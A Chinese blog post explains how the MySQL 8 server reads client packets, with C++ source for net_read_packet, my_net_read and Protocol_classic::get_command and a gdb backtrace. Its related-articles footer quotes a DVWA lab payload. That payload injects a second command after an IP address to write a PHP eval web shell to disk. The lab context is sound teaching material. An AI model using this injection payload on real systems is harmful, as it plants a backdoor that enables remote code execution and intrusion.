mysql8 从C++源码角度看 客户端发送的sql信息 mysql服务端从网络读取到buff缓存中

MySQL 8 版本中的客户端-服务器通信相关,特别是在接收和解析网络请求的数据包时。以下是对代码各个部分的详细解释,帮助您更好地理解这些代码的作用。

代码概述

这段代码主要负责从网络读取数据包,它包含了多个函数来处理网络数据的读取、缓冲区管理、包的解压缩、重试机制和超时处理等。

核心部分概述
  1. net_read_packet 函数: 该函数是 MySQL 网络协议栈的一个核心函数,用于从网络上读取一个数据包。它处理了数据包头的读取、压缩包的处理、包的重新分配和数据的实际读取。其工作流程是:

    • 读取包头,获取包的长度。
    • 如果包是压缩的,则解压缩并更新 complen(解压后的包长度)。
    • 检查是否需要扩展缓冲区来适应包的内容。
    • 最终调用 net_read_raw_loop 读取实际的包数据。
  2. net_read_raw_loop 函数: 这个函数是读取原始数据的实际工作函数,它通过 vio_read 函数从套接字中读取指定数量的字节。如果读取过程中遇到错误,会进行重试;如果读取到 EOF 或者发生超时,它会处理这些情况并返回相应的错误。

  3. net_read_uncompressed_packet 函数: 该函数处理未压缩的数据包,读取数据包并检查是否是一个大数据包的开始。如果数据包是一个多包数据的开始(通过 0xFFFFFF 标识),则会继续读取后续的包并将它们连接在一起。

  4. my_net_read 函数: 这是一个统一的入口函数,用于读取数据包。根据网络连接的压缩标志,它会选择读取压缩或未压缩的包。如果是压缩包,它会调用 net_read_compressed_packet,否则调用 net_read_uncompressed_packet

  5. Protocol_classic::read_packet 函数: 这个函数属于 MySQL 8 协议类 Protocol_classic 的一部分。它调用 my_net_read 来读取数据包并检查数据包的有效性。如果数据包的长度无效(packet_error),则标记该包为错误包。否则,它将数据包存储在 input_raw_packet 中,并返回成功。

  6. Protocol_classic::get_command 函数: 这个函数解析并处理客户端发送的命令数据包。它首先调用 read_packet 函数读取数据包,然后从数据包的第一个字节中提取命令类型(如 COM_SLEEP 等),并将其存储到 cmd 变量中。接着,它会跳过命令字节,并解析剩余的数据。

数据包读取过程

  • 数据包头读取net_read_packet 首先通过 net_read_packet_header 函数读取数据包的头部信息(包括数据包的长度)。如果数据包头部的读取失败,它会返回错误。

  • 压缩数据包的处理:如果数据包是压缩的(net->compress 为真),则会通过 net_read_compressed_packet 解压缩数据包并更新 complen(解压后的数据包长度)。压缩包的具体处理逻辑是通过解析压缩包的头部和数据内容来完成的。

  • 多包处理:如果数据包的长度为最大值(MAX_PACKET_LENGTH),则表示这是一个多包数据的第一部分,需要继续读取后续的包并将它们拼接在一起。这个过程在 net_read_uncompressed_packet 函数中进行。

  • 错误处理和超时机制:如果在读取过程中发生错误,net_read_raw_loop 会处理多种情况,如重试、EOF 或超时。错误信息通过 net->last_errno 进行记录,客户端会根据这个信息做相应的处理。特别地,超时会触发不同的错误,如 ER_NET_READ_INTERRUPTEDER_CLIENT_INTERACTION_TIMEOUT

关键函数总结

  • net_read_packet:负责读取一个完整的网络数据包,处理压缩和扩展缓冲区的逻辑。
  • net_read_raw_loop:核心的循环读取函数,负责从网络读取数据,并处理错误和超时。
  • my_net_read:统一的接口函数,调用 net_read_compressed_packetnet_read_uncompressed_packet 来读取数据包。
  • Protocol_classic::read_packetProtocol_classic::get_command:这两个函数属于 MySQL 协议类,负责接收客户端请求并解析相应的命令。

结论

这些代码主要用于处理 MySQL 8 客户端和服务器之间的网络通信,特别是处理数据包的读取、解压、分片拼接以及错误处理。它们确保能够从客户端接收到数据包并将其解析为 MySQL 服务器理解的格式。这些代码对于处理客户端请求、执行 SQL 命令和返回结果至关重要。

##源码

static size_t net_read_packet(NET *net, size_t *complen) {
  size_t pkt_len, pkt_data_len;

  *complen = 0;

  net->reading_or_writing = 1;

  /*
    We should reset compress_packet_nr even before reading the header because
    reading can fail and then the compressed packet number won't get reset.
  */
  net->compress_pkt_nr = net->pkt_nr;

  /* Retrieve packet length and number. */
  if (net_read_packet_header(net)) goto error;

  net->compress_pkt_nr = net->pkt_nr;

  if (net->compress) {
    /*
      The right-hand expression
      must match the size of the buffer allocated in net_realloc().
    */
    assert(net->where_b + NET_HEADER_SIZE + 3 <=
           net->max_packet + NET_HEADER_SIZE + COMP_HEADER_SIZE);

    /*
      If the packet is compressed then complen > 0 and contains the
      number of bytes in the uncompressed packet.
    */
    *complen = uint3korr(&(net->buff[net->where_b + NET_HEADER_SIZE]));
  }

  /* The length of the packet that follows. */
  pkt_len = uint3korr(net->buff + net->where_b);

  /* End of big multi-packet. */
  if (!pkt_len) goto end;

  pkt_data_len = max(pkt_len, *complen) + net->where_b;

  /* Expand packet buffer if necessary. */
  if ((pkt_data_len >= net->max_packet) && net_realloc(net, pkt_data_len))
    goto error;

  /* Read the packet data (payload). */
  if (net_read_raw_loop(net, pkt_len)) goto error;

end:
  if (net->error == NET_ERROR_SOCKET_NOT_WRITABLE)
    net->error = NET_ERROR_SOCKET_UNUSABLE;
  DBUG_DUMP("net read", net->buff + net->where_b, pkt_len);
  net->reading_or_writing = 0;
  return pkt_len;

error:
  if (net->error == NET_ERROR_SOCKET_NOT_WRITABLE)
    net->error = NET_ERROR_SOCKET_UNUSABLE;
  net->reading_or_writing = 0;
  return packet_error;
}


/*****************************************************************************
** Read something from server/clinet
*****************************************************************************/

/**
  Read a determined number of bytes from a network handler.

  @param  net     NET handler.
  @param  count   The number of bytes to read.

  @return true on error, false on success.
*/

static bool net_read_raw_loop(NET *net, size_t count) {
  DBUG_TRACE;
  bool eof = false;
  unsigned int retry_count = 0;
  uchar *buf = net->buff + net->where_b;
  bool timeout_on_full_packet = false;
  bool is_packet_timeout = false;
#ifdef MYSQL_SERVER
  NET_SERVER *server_ext = static_cast<NET_SERVER *>(net->extension);
  if (server_ext) timeout_on_full_packet = server_ext->timeout_on_full_packet;
#endif

  time_t start_time = 0;
  if (timeout_on_full_packet) start_time = time(&start_time);
  while (count) {
    const size_t recvcnt = vio_read(net->vio, buf, count);

    /* VIO_SOCKET_ERROR (-1) indicates an error. */
    if (recvcnt == VIO_SOCKET_ERROR) {
      /* A recoverable I/O error occurred? */
      if (net_should_retry(net, &retry_count))
        continue;
      else
        break;
    }
    /* Zero indicates end of file. */
    else if (!recvcnt) {
      eof = true;
      break;
    }

    count -= recvcnt;
    buf += recvcnt;
#ifdef MYSQL_SERVER
    thd_increment_bytes_received(recvcnt);
#endif
    if (timeout_on_full_packet) {
      time_t current_time = time(&current_time);
      if (static_cast<unsigned int>(current_time - start_time) >
          net->read_timeout) {
        is_packet_timeout = true;
        break;
      }
    }
  }

  /* On failure, propagate the error code. */
  if (count) {
    /* Interrupted by a timeout? */
    if (!eof && (vio_was_timeout(net->vio) || is_packet_timeout))
      net->last_errno = ER_NET_READ_INTERRUPTED;
    else
      net->last_errno = ER_NET_READ_ERROR;

#ifdef MYSQL_SERVER
    /* First packet always wait for net_wait_timeout */
    if (net->pkt_nr == 0 && (vio_was_timeout(net->vio) || is_packet_timeout)) {
      net->last_errno = ER_CLIENT_INTERACTION_TIMEOUT;
      /* Socket should be closed after trying to write/send error. */
      THD *thd = current_thd;
      if (thd) {
        Security_context *sctx = thd->security_context();
        std::string timeout{std::to_string(thd_get_net_wait_timeout(thd))};
        Auth_id auth_id(sctx->priv_user(), sctx->priv_host());
        LogErr(INFORMATION_LEVEL, ER_NET_WAIT_ERROR2, timeout.c_str(),
               auth_id.auth_str().c_str());
      } else {
        LogErr(INFORMATION_LEVEL, ER_NET_WAIT_ERROR);
      }
    }
    net->error = NET_ERROR_SOCKET_NOT_READABLE;
    /*
      Attempt to send error message to client although the client won't be
      expecting messages. If later the client tries to send a command and fail
      it will instead check if it can read an error message.
    */
    my_error(net->last_errno, MYF(0));
#else
    /* Socket should be closed. */
    net->error = NET_ERROR_SOCKET_UNUSABLE;
#endif
  }

  return count != 0;
}

/**
  Reads one packet to net->buff + net->where_b.
  If the packet is the first packet of a multi-packet packet
  (which is indicated by the length of the packet = 0xffffff) then
  all sub packets are read and concatenated.

  @param[in, out] net NET structure
  @param[out] len  length of the packet read
*/
static void net_read_uncompressed_packet(NET *net, size_t &len) {
  size_t complen;
  assert(!net->compress);
  len = net_read_packet(net, &complen);
  if (len == MAX_PACKET_LENGTH) {
    /* First packet of a multi-packet.  Concatenate the packets */
    const ulong save_pos = net->where_b;
    size_t total_length = 0;
    do {
      net->where_b += len;
      total_length += len;
      len = net_read_packet(net, &complen);
    } while (len == MAX_PACKET_LENGTH);
    if (len != packet_error) len += total_length;
    net->where_b = save_pos;
  }
  net->read_pos = net->buff + net->where_b;
  if (len != packet_error)
    net->read_pos[len] = 0; /* Safeguard for mysql_use_result */
}


/**
  Read a packet from the client/server and return it without the internal
  package header.

  If the packet is the first packet of a multi-packet packet
  (which is indicated by the length of the packet = 0xffffff) then
  all sub packets are read and concatenated.

  If the packet was compressed, its uncompressed and the length of the
  uncompressed packet is returned.

  @return
  The function returns the length of the found packet or packet_error.
  net->read_pos points to the read data.
*/

ulong my_net_read(NET *net) {
  size_t len;
  /* turn off non blocking operations */
  if (!vio_is_blocking(net->vio)) vio_set_blocking_flag(net->vio, true);

  if (net->compress)
    net_read_compressed_packet(net, len);
  else
    net_read_uncompressed_packet(net, len);

  return static_cast<ulong>(len);
}

int Protocol_classic::read_packet() {
  input_packet_length = my_net_read(&m_thd->net);
  if (input_packet_length != packet_error) {
    assert(!m_thd->net.error);
    bad_packet = false;
    input_raw_packet = m_thd->net.read_pos;
    return 0;
  }

  bad_packet = true;
  return m_thd->net.error == NET_ERROR_SOCKET_UNUSABLE ? 1 : -1;
}

int Protocol_classic::get_command(COM_DATA *com_data,
                                  enum_server_command *cmd) {
  // read packet from the network
  if (const int rc = read_packet()) return rc;

  /*
    'input_packet_length' contains length of data, as it was stored in packet
    header. In case of malformed header, my_net_read returns zero.
    If input_packet_length is not zero, my_net_read ensures that the returned
    number of bytes was actually read from network.
    There is also an extra safety measure in my_net_read:
    it sets packet[input_packet_length]= 0, but only for non-zero packets.
  */
  if (input_packet_length == 0) /* safety */
  {
    /* Initialize with COM_SLEEP packet */
    input_raw_packet[0] = (uchar)COM_SLEEP;
    input_packet_length = 1;
  }
  /* Do not rely on my_net_read, extra safety against programming errors. */
  input_raw_packet[input_packet_length] = '\0'; /* safety */

  *cmd = (enum enum_server_command)(uchar)input_raw_packet[0];

  if (*cmd >= COM_END) *cmd = COM_END;  // Wrong command

  assert(input_packet_length);
  // Skip 'command'
  input_packet_length--;
  input_raw_packet++;

  return parse_packet(com_data, *cmd);
}

##gdb调试栈

(gdb) bt
#0  net_read_packet (net=0x7fd000002bb8, complen=0x7fd0e48fc250) at /home/yym/mysql8/mysql-8.1.0/sql-common/net_serv.cc:2125
#1  0x00005d830c9eb995 in net_read_uncompressed_packet (net=0x7fd000002bb8, len=@0x7fd0e48fc290: 140535164556864) at /home/yym/mysql8/mysql-8.1.0/sql-common/net_serv.cc:2165
#2  0x00005d830c9ebccc in my_net_read (net=0x7fd000002bb8) at /home/yym/mysql8/mysql-8.1.0/sql-common/net_serv.cc:2241
#3  0x00005d830cf1cd2a in Protocol_classic::read_packet (this=0x7fd0000052e0) at /home/yym/mysql8/mysql-8.1.0/sql/protocol_classic.cc:1411
#4  0x00005d830cf1e08f in Protocol_classic::get_command (this=0x7fd0000052e0, com_data=0x7fd0e48fc340, cmd=0x7fd0e48fc330)
    at /home/yym/mysql8/mysql-8.1.0/sql/protocol_classic.cc:2995
#5  0x00005d830c7c0b5a in do_command (thd=0x7fd000000d80) at /home/yym/mysql8/mysql-8.1.0/sql/sql_parse.cc:1397
#6  0x00005d830ca18835 in handle_connection (arg=0x5d83166b17d0) at /home/yym/mysql8/mysql-8.1.0/sql/conn_handler/connection_handler_per_thread.cc:303
#7  0x00005d830e957bdc in pfs_spawn_thread (arg=0x5d83166ae7e0) at /home/yym/mysql8/mysql-8.1.0/storage/perfschema/pfs.cc:3043
#8  0x00007fd0f3894ac3 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
#9  0x00007fd0f3926850 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
(gdb) p net->buff
$10 = (unsigned char *) 0x7fd0000076f0 "\003KILL QUERY 8"

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/948152.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

#渗透测试#漏洞挖掘#WAF分类及绕过思路

免责声明 本教程仅为合法的教学目的而准备&#xff0c;严禁用于任何形式的违法犯罪活动及其他商业行为&#xff0c;在使用本教程前&#xff0c;您应确保该行为符合当地的法律法规&#xff0c;继续阅读即表示您需自行承担所有操作的后果&#xff0c;如有异议&#xff0c;请立即停…

电子应用设计方案85:智能 AI门前柜系统设计

智能 AI 门前柜系统设计 一、引言 智能 AI 门前柜系统旨在提供便捷、安全和智能的物品存储与管理解决方案&#xff0c;适用于家庭、公寓或办公场所的入口区域。 二、系统概述 1. 系统目标 - 实现无接触式物品存取&#xff0c;减少交叉感染风险。 - 具备智能识别和分类功能&am…

如何在不丢失数据的情况下从 IOS 14 回滚到 IOS 13

您是否后悔在 iPhone、iPad 或 iPod touch 上安装 iOS 14&#xff1f;如果你这样做&#xff0c;你并不孤单。许多升级到 iOS 14 beta 的 iPhone、iPad 和 iPod touch 用户不再适应它。 如果您在正式发布日期之前升级到 iOS 14 以享受其功能&#xff0c;但您不再适应 iOS 14&am…

线性代数考研笔记

行列式 背景 分子行列式&#xff1a;求哪个未知数&#xff0c;就把b1&#xff0c;b2放在对应的位置 分母行列式&#xff1a;系数对应写即可 全排列与逆序数 1 3 2&#xff1a;逆序数为1 奇排列 1 2 3&#xff1a;逆序数为0 偶排列 将 1 3 2 只需将3 2交换1次就可以还原原…

设计心得——流程图和数据流图绘制

一、流程图和数据流图 在软件开发中&#xff0c;画流程图和数据流图可以说是几乎每个人都会遇到。 1、数据流&#xff08;程&#xff09;图 Data Flow Diagram&#xff0c;DFG。它可以称为数据流图或数据流程图。其主要用来描述系统中数据流程的一种图形工具&#xff0c;可以将…

SpringBoot框架开发中常用的注解

文章目录 接收HTTP请求。RestController全局异常处理器Component依赖注入LombokDataBuildersneakyThrowsRequiredArgsConstructor 读取yml文件配置类注解 接收HTTP请求。 RequestMapping 接收HTTP请求。具体一点是 GetMapping PostMapping PutMapping DeleteMapping 一共…

ELK日志平台搭建 (最新版)

一、安装 JDK 1. 下载 JDK 21 RPM 包 wget https://download.oracle.com/java/21/latest/jdk-21_linux-x64_bin.rpm2. 安装 JDK 21,使用 rpm 命令安装下载的 RPM 包&#xff1a; sudo rpm -ivh jdk-21_linux-x64_bin.rpm3. 配置环境变量 编辑 /etc/profile 文件以配置 JAVA_HO…

使用 Jupyter Notebook:安装与应用指南

文章目录 安装 Jupyter Notebook1. 准备环境2. 安装 Jupyter Notebook3. 启动 Jupyter Notebook4. 选择安装方式&#xff08;可选&#xff09; 二、Jupyter Notebook 的基本功能1. 单元格的类型与运行2. 可视化支持3. 内置魔法命令 三、Jupyter Notebook 的实际应用场景1. 数据…

AcWing-164.可达性统计(拓扑排序 + 位运算)

原题链接&#xff1a;164. 可达性统计 - AcWing题库 题目描述&#xff1a; 题目 输入格式 输出格式 数据范围 输入样例&#xff1a; 输出样例&#xff1a; 思路 AC代码&#xff1a; 题目描述&#xff1a; 题目 给定一张 &#x1d441; 个点 &#x1d440; 条边的有向无…

Windows安装了pnpm后无法在Vscode中使用

Windows安装了pnpm后无法在Vscode中使用 解决方法&#xff1a; 以管理员身份打开 PowerShell 并执行以下命令后输入Y回车即可。 Set-ExecutionPolicy RemoteSigned -Scope CurrentUser之后就可以正常使用了

python学opencv|读取图像(二十五)使用cv2.putText()绘制文字进阶-垂直镜像文字

【1】引言 前序学习进程找那个&#xff0c;已经掌握了使用pythonopencv绘制常规文字和倾斜文字的基本技巧。相关链接如下&#xff1a; python学opencv|读取图像&#xff08;二十三&#xff09;使用cv2.putText()绘制文字-CSDN博客 python学opencv|读取图像&#xff08;二十四…

6.充放电相关实验(过压、欠压、过流、短路、过温、低温)演示

1.充放电演示 (1)一定要按照操作步骤来,先将电池板上的充放电开关一定要处于断开状态(字母O一边按下是断开,字母I一边按下是接通),然后夹上充电器的电源夹子到BMS控制板的PACK-、PACK+两端,然后给充电器插上电源(如果使用自己的充电器一定要注意不要大于21V),然后拨动…

解决HBuilderX报错:未安装内置终端插件,是否下载?或使用外部命令行打开。

版权声明 本文原创作者&#xff1a;谷哥的小弟作者博客地址&#xff1a;http://blog.csdn.net/lfdfhl 错误描述 在HBuilderX中执行npm run build总是提醒下载插件&#xff1b;图示如下&#xff1a; 但是&#xff0c;下载总是失败。运行项目时候依然弹出上述提醒。 解决方案 …

【小程序开发】- 小程序版本迭代指南(版本发布教程)

一&#xff0c;版本号 版本号是小程序版本的标识&#xff0c;通常由一系列数字组成&#xff0c;如 1.0.0、1.1.0 等。版本号的格式通常是 主版本号.次版本号.修订号 主版本号&#xff1a;当小程序有重大更新或不兼容的更改时&#xff0c;主版本号会增加。 次版本号&#xff1a…

基于微信小程序投票评选系统的设计与实现ssm+论文源码调试讲解

第4章 系统设计 4.1 系统设计的原则 在系统设计过程中&#xff0c;也需要遵循相应的设计原则&#xff0c;这些设计原则可以帮助设计者在短时间内设计出符合设计规范的设计方案。设计原则主要有可靠性&#xff0c;安全性&#xff0c;可定制化&#xff0c;可扩展性&#xff0c;可…

库伦值自动化功耗测试工具

1. 功能介绍 PlatformPower工具可以自动化测试不同场景的功耗电流&#xff0c;并可导出为excel文件便于测试结果分析查看。测试同时便于后续根据需求拓展其他自动化测试用例。 主要原理&#xff1a;基于文件节点 coulomb_count 实现&#xff0c;计算公式&#xff1a;电流&…

AWS re:Invent 的创新技术

本月早些时候&#xff0c;Amazon 于 12 月 1 日至 5 日在内华达州拉斯维加斯举行了为期 5 天的 re&#xff1a;Invent 大会。如果您从未参加过 re&#xff1a;Invent 会议&#xff0c;那么最能描述它的词是“巨大”——不仅从与会者人数&#xff08;60,000 人&#xff09;来看&…

DVWA 命令注入写shell记录

payload 127.0.0.1;echo "<?php eval($_POST["md"]);?>" > md.php 成功写入&#xff0c;访问查看 成功解析

lua库介绍:数据处理与操作工具库 - leo

leo库简介 leo 模块的创作初衷旨在简化数据处理的复杂流程&#xff0c;提高代码的可读性和执行效率&#xff0c;希望leo 模块都能为你提供一系列便捷的工具函数&#xff0c;涵盖因子编码、多维数组创建、数据框构建、列表管理以及管道操作等功能。 要使用 Leo 模块&#xff0c;…

第10章图10.1-10.5《分析模式》原图和UML图对比

DDD领域驱动设计批评文集 做强化自测题获得“软件方法建模师”称号 《软件方法》各章合集